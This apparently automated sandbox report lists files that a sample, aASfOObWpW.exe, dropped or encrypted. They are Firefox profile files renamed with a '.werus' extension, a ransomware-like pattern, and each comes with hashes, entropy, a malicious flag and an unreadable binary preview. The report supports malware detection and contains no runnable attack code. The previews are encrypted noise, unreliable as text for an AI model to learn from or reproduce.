SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	98320
Entropy (8bit):	7.997978432709014
Encrypted:	true
SSDEEP:	1536:TR3KBjMzK6l6pjyV/u1ZiB6sHbEeqfku9JJnFe1eVRNvCfhI:TR3K6ojEuwJ7afku9Ja1Gv6I
MD5:	317E56709A6154B7A8A753D30E9C33B6
SHA1:	666C4E4974446D875D45C597AD16BF42B1D3DCD1
SHA-256:	DB02F0E5EA7BFD4B9A33B98D064023BE350DD87BAB8FAC9ACFD12B918288C9F0
SHA-512:	3B840E46107B0F2801DC4DE10AF25DC516E937A13ADD5D5198BF9F5DD9D9592FF67A92FDD102D9D21F32BDA6EFEEAABD5B28C3A072EDA03FFF79D39AEC4FAE5A
Malicious:	true
Preview:	?+..V.....%...O.D.....m.&.Hy/....ap.......m....4..l..6....`.qa....Z..V.f........4nl$YDx(..n....M....'....L.(.9...IF]!..#hc..5..qkx.;...8.L1.S.JP..>...>.....cT.(E..t...tW._m.4>...ajW.A.6v....re......RS.s......N....2].aY.d,...d....G&.G..3M..9.........ycy.V.....]T.U......a>...".....Z.......uI......Ov...`#.DA.T...BSQ.....P..z3Y'..\B{...X....N..3.=F....A....$.....?Oj..wl......R.h..].57VM.i0(.. .#r.$x...........])..a......[.i);.P.D..0S,(....e..r.{x.8......uYJ.o...j3.M.....).T.:;.....<.o......A.....G!R...~ee...T......4..1..v...x......-%.......g....yL.P.N.1...iy/...F..z.bJ2.lSZ.P...T....H.5..'.c.u....b...p..~..(..vpZI.i.FY..nY.0@.%)........J.O.w.....0..}R3..a.......?7.D..J.......AQN..L..j....@........=...R.^4a........e..Z0O.M.k..x...Z_a.~J..y>....e......j.B...i..=..m....N\|.~.....NeT=Z....T..../k......1..../.TD x(./..n.6{8o.\|.....i.. .../$:.......,q<x...E....K..P.k.[H...w.[C...v..........yA.].Q.q.}.]=E...*.....[...r....h\2.N.L..G....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835635.a669692a-f9c9-42c0-a803-7b87d3ff5834.new-profile.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	3792
Entropy (8bit):	7.952650275161796
Encrypted:	false
SSDEEP:	96:gVgmKVtrCIA+szWHtU/bUkCiRvLaXK1xDY/KAxGxbEFf:wgXVpdA9zWHtU/KaGmBbEFf
MD5:	B99382F868274CB5B0BE47E197E2275A
SHA1:	EB4D8CA6473BB496E0C06F2767CCF8F341BBFEBF
SHA-256:	2FE0F5562400D8E19865591024202C37F09E75D3589069C13BC09A2F9E8293CA
SHA-512:	138A7690EB6238E2C4E90F705E83B372FCA3599080DE900BDE5CF2747B07308A165EB0E29E880D9CC76C4AB97D342057DCE8BB32DF29A2B27F5AEAEC467A41C6
Malicious:	true
Preview:	.4...6......5L4a...1...6i8.m...f......A.A/.........$..D.g.ePaiY...n+..3.3.i.H.g.........ow.'[....:....1F.H...9z..z...U.t....{..qx.#t(.fka.....zGE'..K.j...v.N./...>..W...lJa...-....9...p.!.Db^.R...h.\|.v.bJ<Q...9;..EB...av.'.%.l...\iBR.i.~.x..;....l.V.w.g....Y..V5V.;ST...x....lL4.D..^...g.6.%1..._].z...%X.n.m......sWQ.P.r..Y.~h4..]...}]h!.[..<..[k[.5.WSU..EB....(...!..<...D....KS8....w.o.Rqa..D.Wi[+..K..^..EY....g...... .G#H.=..c...;.AU.Ti..R...{vA.L/...'.........p...5>..?a. ...d.!X...d...'}`..w/.....V.VU....rj.L.\...S.n.p!...K....U..A.UJ..).5...Q.3...-.G.......w.VJ...=2..$!fX6.>.r....Y\.}.w.......m..~..)f.....Sx.....}..B...0.qXQ...........{.....P..\..6.y......q..H&..M]?.wj....!D.).7$...cJ..y..E+....mB.[......D.fx....Z@.o.)..>.>n.i.../h.......U...=..FZ.....}J..,...B.g...^G.nk....L.L...(7..s....>8j..@\..'....*x.y..^y.>..j.r.....r..A.G...O...}..SG._i..E3......i9J..jZv.......?...rz...!>.{$y..'&.}A.Jj.\D..u..Y..Y.....Pn...C...O.CLC

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835643.9a3c31ca-35e4-421e-91e1-5f7b9bd27492.event.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4160
Entropy (8bit):	7.957580821852882
Encrypted:	false
SSDEEP:	96:LMFsA7jsQkDVn42+imgUAV7mypx8AA4bdOPtW9qEAfqdMD:LeHcn4em1ypyAAyU1Yq/fnD
MD5:	7D5353EF2758F689851967CF88DBEC9C
SHA1:	E1F4A944BBDD35847BA8C9F1CA77E134FE58E439
SHA-256:	075D80AAA4413F8FAFAD98DCDE2A201AA4C06E517634B1C70F328FB4C8D7F0F2
SHA-512:	29EA8BBCF9148D2D551869F60246E3F2D272DCF840DC9DA80F9CEF262432AE9C31054F99C741EE0305BE4B56608341686E921B310F02BAE29139BFE79D8714F7
Malicious:	true
Preview:	...-.....mj....Ir.`.8..D...f.).S.7..9.....)..Zr..F $..f...\|:.7N.!....gQ.npB.fM....2..T..NS.c..%..q.J..2H..?X.U.5....I..fAu.]...yB....._?^d.......E,:....3.rZ.Y.)SM.....O.>fr.h...Bt.n}.w.0.....8F.`a~/.B.%\,.."/.;.....7.[~>.....O..G.J((..K......T!3......./..L...(.4.'..%...&?Vs..X.......8..O{.f..>._W...i}...R.pB...:.>hl..Z..I.(....b..@......UTr.n..r...Mu.p),....+.L".r.\|.}.}.S....K5...hX.4Y...z.X.J.y..ex.".M.!.>..9(....Rm..{...@...?...RF~...-..v..%...M.....i.&.qz.ScT....Z.f......Qh.."c.'....R1..T..vD.g...IWL,.e..X...+.&................OWX..H...F..N...y-.B...s..=.$..e`.I...PR.pZ..\|.(/.P.TI....&T.:^.u.+.1^..2.Q55...6.^.?...#.f.I..._. .\'.H.;.ha..O...<MV...L.g..9..z.C....c...:.E{.b.....Xe....bC.'..z....h...?.COeF...]1....2S3d.=4....c3.X.[.@.X...~.d,x.x...P.....eU_.j......%.-t4Q':..\0.;.E.P.4g..?....4b.....u........l}.v.3.\.......;..z.......Og....Q.<...p.C...NEQ........`...yI....4.}.@./....F..cTF".E..`...s..Sc.......b<^..>$/..S.p0..S4....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	18384
Entropy (8bit):	7.991029358695569
Encrypted:	true
SSDEEP:	384:LF+tCHPu6qsst6tY4oTKfZvdA4l0QI/dw/Z8hVbax5x:LotCo0Y4k61ABzdw/Z8zOxb
MD5:	3300879F10AF37948703D812767C5DA6
SHA1:	4223C861225C5D74AE9B4440BD9971A5DC275AF8
SHA-256:	AD5FCDC8C538C0E51647FF4DA7477B593229601AC233F92580065A2A01270CBF
SHA-512:	74863A7AC85AF07CF4B57E7FD993C6C42E2D7D57AE7D2E3DB7102FA9945F3934735C723ADA66461870F1EC0E702F9430080C96F5181D679E1FE8414CBE7B760F
Malicious:	true
Preview:	......."g.0Z_.........)+LA....=.......z..................m.......)..........Z?..D.%..BY..=..>.....%.9....[..23./...iF....&...F.S.`.f.B..4.K4<Z.Ha\|&H..b...};>E..,.5T...l.....G9U...K.,....'...l......k.t2.'......R0e.....:.....i..`.Sy.-...Xq-H.....y.dC.tG+.=..\$..-.......Z~...{..h?{..s..H`9........(..P........y5..@<o.Dh...>.X].....;......5,....^..S....F..q.D.c..6.;3?x.S.}fM....b"..G.s.a.".Z.....h..?..i.f$.a..xM.....W2..h. iV...z2C.5"..0..!.vx..\......c>.Y.h......8/.J......Cq...2&.......B_ST ...T.W.9.G.++..E...m.aI%e....du&..y ........5..z..>_K..s.Z?Nq.M....W.a.....P.....)..-.\|...@p.G...P.2L.e3l.pLA>.3W.c..K..TZ.E-.] d..L..^.?QJZ..C...-......m0.(..A.7....L..M...S......s....H....cA..p....w..+..m.g...s.>$..o.?.`.C{...`).l...w.vT..V..4x.a....2>+R-x...N0..8ffX....%.6.......a.F.So}...G..@..?[%,.5Q...F~..&...Jb..ta....p..2..0.#.....RfgS.6..h\|..f.(..@.7......g^.3.a....&BW.....9.-...s...................l.E......K._2.Ih..s.M.S..r.$.VP.....Uu.syv....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	18400
Entropy (8bit):	7.9895162146507905
Encrypted:	false
SSDEEP:	384:+rNxli5VXRD7OpAMukYZuG/epNe/Od0SPKR3Rac278YfX:+rzli5tR7rMudZ8p+Od00e3Rac2x
MD5:	364BA1BBD8B95ABADCD03BB9064CE6BD
SHA1:	4D92471DB548443537F83509758574A607ACA459
SHA-256:	03774E8117250754C7C45BB040EE041692F4D75E2A4B5A2C19D88599B88E93BB
SHA-512:	17F9DB24FD77C46B26609CC42D18570DB5CCFD18E45E903CC49C15C196E03C12D1C80F40493A26C10F3466B1195BE5AAB9CB4D15F374DFF6880687BB572162A7
Malicious:	true
Preview:	.......1t..M.."... .........N\X%G$."....z..........,B:..v~).......f..$.C.\.....1.}=...):?.^W]'f...1.Z...P5.3.V_....y...D..e1....Qx\|....,....v"AX.%D.%.d..I.q.q.......F...3%.z...T.......9m.E.f......d.(.B........b.....-.]..A..&...X._....^...j..y..#...\.?..d.VF.ihB\|!.....M..........8g}.B..-.... `.......t8...T%o.....~.....SA...8q$)n.X..d_/{<E.....q7Jn, QNX.\|(..!0b.=8.....s.^w........@..C.<....1J...T...D..Q.T...X._.K>..D.T..8N.X......}lF.:.b..S.q...HH...O.-..,+Z.A...m.p..\|.~..>...%........S.D..M.hA..k).3.G.K..0......P.!...;...s...}.5.......'........N./..2<.32..+...3....v...h.o.\.NpD.Rz...tr..; .7,q..r..c3J........s...::.$..G...r_]S.$.N..&)4.c..X......h.?..i..m.~9<....$..}..Rr.........,@.....v....2....J.D........RU.O....P...d.8..........r..%...!T.7..:..f\l..ZG..r9.u....._........s......^..;.!Q1.J&[.......PRV.....M..Zq.....#Q%..W...x7....\.P.,j.qlM.&.:...#.?..t;vrV..1...T..oH....q...3..sA@v..t..^D.S.@1....o...mzo.n.8.6].S.lJ..M..w.t

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840708.3c7034d6-bc52-43bb-9a23-5da34ee205e0.health.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.588477154229806
Encrypted:	false
SSDEEP:	12:ak02n4rNKPisdT/0ZyzKWSEXo0WQhCWfDH0fH23+89:hPqsp0Zyz1SEJQCDuH2u89
MD5:	1713A169AD7C6FECE2F91BB414A0196C
SHA1:	D5DEDD900C872F06A0F77F4C99A66E62B8A941EC
SHA-256:	3D32363D0A0F62BBC3727FE4AC0C4E0A3291E643681B52D7B957D087DACE97D0
SHA-512:	0F69DE11F0393298720108B97F529C5D0ED42B7DF608C555A65C5D544AD009E9FC6AE72C7B67E856333841ADA1EE7B461EB0880A1D25D084446AD624E00C1FB3
Malicious:	true
Preview:	Z$.^..k...VU.i.,.4.\/....E9..qOG{...J5!.......9...X..hXf.4R.~.%.Q2,.G Y....H@%...o;..\p{....8.U..3.....n....x......K.dI{.w~.B..D-uV...I.....)...d.4x....4.d,3.H.a..sr....... .Y7.0.W...i.4u..K.m..[.[f9.n........p.P..b.......\|..<U5..4.....C\|...b....o..j...J?.M....U.@"X.>..yDH.>&~.;...E..b.....qF=..%........U.......!.....Nm......J0..U#.;.l)...I.../..!]..d......2n".O....D....).X.O.I.%.[......EPI...z.}@.h^....+.QD.'+pQ.M.3.:.+l

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4144
Entropy (8bit):	7.955912761627115
Encrypted:	false
SSDEEP:	96:Y5W7uTthFekXJeIrIRIpZlUGfwngTsExn3f4T0NPln/Kw9:mW7ytzekX8VngFP1Ph/F9
MD5:	1E6FB677D2BBAA3F36CEF58F9A734E97
SHA1:	0D6A771DB078E9CD5F1E5F50DC8197DAA41EC5D1
SHA-256:	C4928B9127E63EB38EBB3024FA453FFB4D54FF667459D519AC6888173972C35C
SHA-512:	F865D03030EC6B12158B2EF22F71BC3EA74D3AABD67BBD760ABC3344F86518BA63666C2D8F28927C2BA7CC7B8EDD23A2FDECFC10376C1A06FE1FAB7553551F55
Malicious:	true
Preview:	^<$$.xr..V.Q............P.(=.h.y;#>..(.(>4...u.+..mFC>...`...\|.!...........U1...I_.0..h..h'2."y....=Ln.?....~6..O..+...p.M...)F....,..v.G..}4O.].....t]..9.R`S>.....A..pq.........m...i......7(...q....E..^...`....e...t..V.\......VD......Z.G...L.....A.h..;...T.o"...tk....L.).k..b..<....U.Q.Id8.:1^H..A..^I.k...e..-...8....D.d./k.6..S.t.......+..;.`.L..-%{.Xz,...0n9....H2]!...JT.m;.....k.^..Q.Ke.V.....'..J...t.#.r.<..A.{g....+.D...../p..In.y.vG.Xt...& .Ek....k...%S..N...P..Z.,.T..6......F.j.#M.......J.8 ..S...m.8=..B.(..^..._..I..).[..!.O.7..x.-s(.\...f]^....S..W.(p}..@..F...].,6V...f.2.}V.%M..-.........}...K.or...........@.[.3.$..$$....Z..a......cg.)..z..3....a.......I.\|.8J..C.L..\...O/k......QS.VF...D...$vh....f.2z.....i.M..=..[ ..>.......@..D...8Dr..s_...x.......U..'.6..D#.U........{yH....5........6....9.f.w.cr.*h..........8...s.s...o.1.p...l.^.}.:?.q..#.WJr....J?.r.L.].h........}..g.D....C .Y...AMJ.@.fc-...h.5....7..9=\...f....E.$E.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.532378987802611
Encrypted:	false
SSDEEP:	12:gPEEnrLgsKCcu6zqqezlnvJ177nLt/7H80+qILryX3e:9EQ/q5zb171/v+qayne
MD5:	295D2EC0A530B0DBCFBA0A0C415F144F
SHA1:	D4C57F41BBCB490933F49D842C6B6BD64A6CA27C
SHA-256:	0A84FAAA2758F157634B0B384F9FDB315381F99E706D523F2B8498EABF37A91B
SHA-512:	2A6000C49A31AD67604BA31925431134FEE8C6C1F5C6E3E840E7C6F98FED9242205D67D0181900CA21575CFA9778FF6A092391557C3F6ECDA56D98250B1E3056
Malicious:	true
Preview:	}(.$.8_,.T..?..'%.>.&2r@H..F&9...5...c........g.._..%."..@C..Y...z..K......,....r8Y^@.......N>.Q...s!x.KJv.....".O.r...#X.3...H..L.mS.2,...++p@.....3Oe.V.0...E%.Y...}..g70..5..".jW)i<.o.Q..r&.E. ..b1.w.......@;.-.c.k.'z.J.}T..j.ex.{.FV.w.9...F.B.$...g...&..._.."...Y%3...~....r6..8.-X...M.nXj.....r..v.\|p...L....kcA.......Dj.....!NU4`......t.........]p...5^.........._~.g.@.T...6.....?.4.....s......[.Eh...4.. ..N....G.....bU....c

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	15008
Entropy (8bit):	7.9867265094439945
Encrypted:	false
SSDEEP:	384:DnCb0weYpMD+qTgFbMn4hOXOl6kU/dnQ2XWV6EEXvL4:u0BD+UgllJIkRVsXvL4
MD5:	6DD6F421AC05B4AE2DEA84455CCC7892
SHA1:	D61143C82E09EC23A44493580796DD5EEB982192
SHA-256:	742A15369C08C2DF5264666F59D6328081141C83903A5CB9E776B8684E254E7B
SHA-512:	3A9320371521F1CC4FF7C582A08E992CAB377ED9890809D165A34EB82928F18F2797932FA808ED3308A3675F10B6476021B5EF46D41EAF6BFDABDCE981C888D8
Malicious:	true
Preview:	[.....zU....^...a..wO...a&.........W.Tj...J.@.U....~e.......7..H.RS.....9....A...}FjoH.K.:...9)..U..=.~...@Z..........wxhg.....e. ..........~..6..L...r\|....]E!...6:.......{z3.......[..Q......c.JY.@k......!v..SL.......Q...)......D....:>v....$......a{C1.p.v$@..!i......GE.R...../...A.Gu...a!L:\|.J}.....0.q...;......U..[,u.:G...Y..'.....Pf.{...?O..A.K.q......C.^.7Z.MW......A..Ln.50.-f.+Q.....z.F.....=.....1.?\|...4)....m6....c......;..F..F....'.#...?u.pE.-.b...c..}l..p...P.y.0VO.,n.s(E8.....x....q...<:.e.roE..`J..O.m.Ud.`....~...d..#..&zy.\|...E...MI3........O...~^.B_[ox.(.C........ ...di...J(.......hW.M.O..?.....b..J..$...i(.<..zW&.(..q..\.aE..8.../.~..=A.Ab...H^..Sq.y......)....[dN.f......_.C..f7M.{..1..2.....L7.7q..x)..K9.4D....[b.......9.../...*)B(...?.a....?G..fv:.R.I+..2.U....%......o^o..J..U.P7...Z~....r.j..b.$2s....#vV.E.6..QEZ.i...n...j..B]./HNW...j.F.V..ar...\........$......{nn...x?........K...E.`...._..`F....x.L.T......<.oE..$....#$.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\data.safe.bin.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	7.985357412373571
Encrypted:	false
SSDEEP:	192:RNMkktuimg0kFVhPFAuIThF6ANTDwFq2efXafHs/PN9ABdUx+gbVLPClUW/2Vzdf:RQtuim5kZCuI2yYFq2eyfOrxbQ/2JdL
MD5:	953F6A7A450854C1F05B69C6E6FAC2DD
SHA1:	6BFF14C80FFD1FE9A3DE027585BB19C8E1DA1067
SHA-256:	2D99DCC2CC979C97CF6E0C15F5CD5F5F4B863415E2E5BCB4E35DFB6793D8DFE5
SHA-512:	55D2E3E23E745C5133255606D25E9BC2663B946AF74E482ECBC9DCA8E0FD5CA46AD1B1C22886389BCE0D833A425F35BFA9725491401E8DBFD85AD2E6403F7C1A
Malicious:	false
Preview:	K.h..&.....x.V.?>..-[....JI........F...x7i..0.H...b....5..q...B.x>.z.f..{q.q$...n..}....~....4..j.J...#.T...b...U.\|.S.SfW~H....].8 .2...$4.b}....(.).......nL...w.H.R. =........+[p.e.us..?.'.v'..{.^.[..Fi..E.>X..Qz.j.D-#..%u...},6...,j6......F...l..w=.8.]75.+..E...#.J;..,EE..?.U!.R.qaK.+.../.<.y..fZ..`z.4.rr..=1\"..-.\....A..J.u.....t.+....L.'u.t.`......!.....</.]vw`..\|n6..Q>.....d..Tq.....x......).,#.4....&B...=...M.2...a.....).6.?..r.D.d ..\|....Z..%(.r.H..'.r.F....3P.Z..LH..j.......ypHJ.$....@.Ak}.}......{.I'h...!q.Q.h.".....uQ.`...1....g#....>f...Y.4..RDI....!~.={.uv.Te.=."..n3.4^) 4.)...P.fop...t-}{w7.6....vI...:yXA.1....d.......Z...8PI.R....1.%~;.....7.A>5.F.JN.X..(..l...7.Y+..<...'u..3f.0.a,..m...u...w.nm....nz\|x..P...I..\..'\'...m..i..g..J..._..0".....R..'.f.i.s.......R3.{.Q?3.A....Q.g%].y.6.....:......M.]C"...?Yf..B~.yWeu`..J..^w.J..<V7..-@..o.....Y....v....].X..+..........w,...K.(/sMs.#s.}....U.J.6S.D..G..o..'%zFD...8.....B.:*.}..1...d..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\background-update.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	7.518315708796384
Encrypted:	false
SSDEEP:	12:pkEtJTE/szHiPNgG/r/nucg+jAMY1erTOR0pR:aEtvOtNjA31erZpR
MD5:	538BF7EEA6AF49973CC1A9E9E12DC622
SHA1:	E6EEB0E5FCAC049381AD531A1F4C4E9FEFA3A62A
SHA-256:	EDBB1EFA61FA06EF78DDDBB893F2E653731093C7D492EF88D28AFA73AC91B85A
SHA-512:	12B3086C5F8C15B8193B3249F2BE2A77C04D6ABCEF132FB0C765B30BACA8E4ECB7B583F1C2DC5DC29BB8AD7D59127C12E2E7E9023471C5AA0543BD842AAA7F90
Malicious:	true
Preview:	>.~..X\|./:.r..U..h+.;(.3..w&.......o.+=5..........k.(:.P..H.f.&..BJ...%.I!RcL.G.RTBpC=.=..k.[.U..Ra:O.....7.Y\..b-.D..?.3=.%.J......I....3.V...51^.....4.E.D....tf...}....U.....B.R..;..x...".6.....S"....Q-...........+s..CswP.x4....u.3.....}..Py.#.?n#V.d.G}.T...E...h...i......GlR.+..4.X. U..."..p.F.5t.k...rD.t..~..3"f@qP.&a,..gU.lX&..#_.U..#UJz.].y....tg...yP...I...m....JP..C*....Ad.g..e(.NwZg..........8\|.c..}..iKX8.Z..J.R.WV...=\|......1B.@.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\events.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	528
Entropy (8bit):	7.589471866636997
Encrypted:	false
SSDEEP:	12:QYyrYFL3e1wK250YbNIQZ7zQmkSn/4dIglJfQkHG5h:QYyr0LO1V2MQZ78mhkIgXYkm5h
MD5:	5412295B2C64115C934AF95DF697F251
SHA1:	FF86F479C0EFC9EE6D4B177FDF684E140688CC69
SHA-256:	B82D51CF54E49E21E39398B9D7EFDD527F7501176E923B10C196F37093FCEF2C
SHA-512:	A18CA3C5EAA95C781E5E4DF24131AEEC7EAB2518A09423F47B88A4C1DCC58F36418DD5DB39179F83B66D363B72CAD789D54DBC3614D58DA7C583B192869371CA
Malicious:	true
Preview:	#....t.=.....<.?..q...nT....A.....A8....x..;i.9....!.....&O.a......$....!.s.n)....a@xF..B.q.OfA..R3..]E&.>v...Mu.:A....G..N...3F.U[q.<....&.....@t..{1.$..\5. .Y.....X._..[K./..v.+V......K...,^.B..r...8.<.Q..x.l... ..g...O7.\|_.[.......!.V.x....X....f~.....e.k..1.7.h...WX#x..G.FPn7..!.........a.+L........{.........[h.w5h=.......b&..X....Wj.h.^pGz.uJ..j......Y=........aI....3!z..I...{.x.?...x...h.h.}..V9w...4..s.D;S#..k..U..S.bc.P.]I.h..r....:....R9}.....'.].E.#.:a......=.b..G.5hBJ2R..j.).uU..b.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\43bb9a55-74a2-452e-8233-6899a7f737b0.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1680
Entropy (8bit):	7.87488120609965
Encrypted:	false
SSDEEP:	48:0y4JYhHRdvugo+S4T6nZuLdpmGjWVmJ8v/IdLi8dkn:0y4JwHRxdenZWDmbVc8HIdL9dkn
MD5:	9B29F8E133F074F0AAA03A98700C44A3
SHA1:	6F3DE4E752D1C225A61D34B6E72CD753A900C4B3
SHA-256:	4E3DB093DA1853CF794C1CA1C9A8D64AEFDCB3E87225BCFF3AD818D0013C26B6
SHA-512:	8CCD41E49FDE27B9547CE4C362C0F1CE0EF87D511EA5D047F74FC73971BCFF0A6F5B7CBF7D57C6F8784622A30FB22F5CA49403838A63925540F073FD90A69AB6
Malicious:	true
Preview:	.I...t..RG.j...<...S..'le86.a...O&..l........:.$}.....!.B_B.RQ.^....'....<.....q1@!..}..g...B_..".J.D..fY..N._...._..+.n.p....Y....Q8.jz."!).,......q]1.(P...7...0P..b...rH.G~...gCKx..7...........).M..)4..l`..p..qFD."....i... ..%.....~0N..e..>...p.[....D\|..pm.%.c'V...h3..h.'.C....Mr;(xI..8.s....Bc`....s6.=..B..EAm.:T.;3R...x"F..i..deW....+.E..Qbj.i.>4..m95m..\|}K.w...m.F....Y..3..1if.\.ti...b._qO.%......{.2.2.F..F^..v....)..qM..Y..s..o.{.......f...t9.n))..F....5f.~...^.f..dxv.Q.v].=r...7(.....:.Fe.?....._...?"2+.~e\|..I..l.......<.OT2+..u.....[......S.....8....{@'.2dq..N...i`Z!./\.(..Z..8x.../.<.....oL..........#).-.h....:X.Q.u..\..L...i,-n?H...7s..q..t...C`........%...3]......e(8n..)&...<.u.7QO.....]#=..j....pf...9.)[p..&......4...w9$..K.....y........B.W4...[.`}.k2.E.'...._.T..5.....,..A..<;..K......=,w.t..Ipv+..1.,p.1.`.=.n....T.Zo+..a..+q .U~..Wow.f$.............lW..G:..2.W.Rq<....)5VO....J..XK...{..+.\|..`;....W...m}G`.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\7755ad51-2370-4623-9d21-15c89f2143db.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.840985122385259
Encrypted:	false
SSDEEP:	24:QlkIQqH5tRR/IhrGck8ortrBvs+s1UyTOJeF9CyFYqTaUZ1bfyirRp:ak8tjcrS8o5tU+h/eF9CMTaUjuM
MD5:	8F1ACF54C2AAFFFA3C4387E784A01CBE
SHA1:	4A2482BAB69E6D8D9A3519714C8894F153C4629D
SHA-256:	F719FA89666BC22CF8B2F3D4F5A57BE0CD7FD9819EAE3E7147D84EA5B98B4392
SHA-512:	2FBCC0B17ACC642E44C11BFD9E92BF8AF32C2A7C441D480A98DDB1FEBA5690B8F873D3034B4B92C2D0980763470323C79137AA37CC1CC6B3AD6EC2A0BB6AA30D
Malicious:	true
Preview:	.I...t..RG.j...........6..Zfc......JC.CL...U...[..I.N.s..k.[X.......XX....o....J....m...j(p).... .].sS...r.`Fl.qH....k$..F&.6..9S...=.AM0.C.Hd....D2YQ.)@..1..H....4.i..K6F.W..(Y.c.(.D.e....F.6..q2..+mw.I.?.'....F{.....\|.Y4^.....:X.."..2..7....#...~Z8.\a'....I0u.Vg..E%.....y..o+{k9......0/$g.h......Z...=.......h..-..Mz.(..4..fV......-...\|.....a..X..yi.....`7Ec......k..<.R.^...[..q...x.p.....t~ZO.~-\|....R..yW.X.2...,.=s0.e8..:..#.J..Is...'..:.`..c.l.O.I....y..8....h..IU..I.{.W.Z..rpfh.P....%k...u.K....S>.....`.....3{.B.?..._$s...._n...0_.9N...]9...tk.%.....;q...7.3u.;(K...6m./C..).....^Z._..fJ..g.$..D>._....i.UT0+C..3..b....F....r._.t.....r.......{u.x._t5.......G-Z...5.g.i...k..\.........2.....w.....K..g.#.>J..$.eZ0......&..X.0.6.j...-.X.Q{\|.C......&&$...C.........f..[6F....2..(.s.8...........i..q.Y+.t.1.~V.....Q.\|i.b..Y..:=....'.0.{..........L!a....oC..HMZ....n}...)=.\.f#..8.tg..:...;gd...f.......~....H.>..d....\....s.[.S>....*D>L.a.....a.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\ae04dde8-69a1-49f8-95f1-d533ed587ff6.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.873761334457023
Encrypted:	false
SSDEEP:	24:vSgTC2zLAB+MKF84qYGlKtUmxQ33yp8+PY5+bctwMwBreIOruls7:vxm2zkB+Mt2tTzaMY5+bcaMCezX7
MD5:	C11DEF4ADB8F23E5FB6B7BE894964CC9
SHA1:	EA68211D41F55F95E613C928155ADDF00632CAF7
SHA-256:	96ED6A3FAA5C980AF292C8BDC6E00B9C5F7ACDB8E0416CC2659480DB97FDC4A6
SHA-512:	5B19BF5A7088D29E3FA43B908E0F12E84D98108D8184B54C9FE906E0F8AAB3226EB0CAABB8B5445977BAA559C165F68F1D4EC88019DDE7CB42B2051155BA1033
Malicious:	true
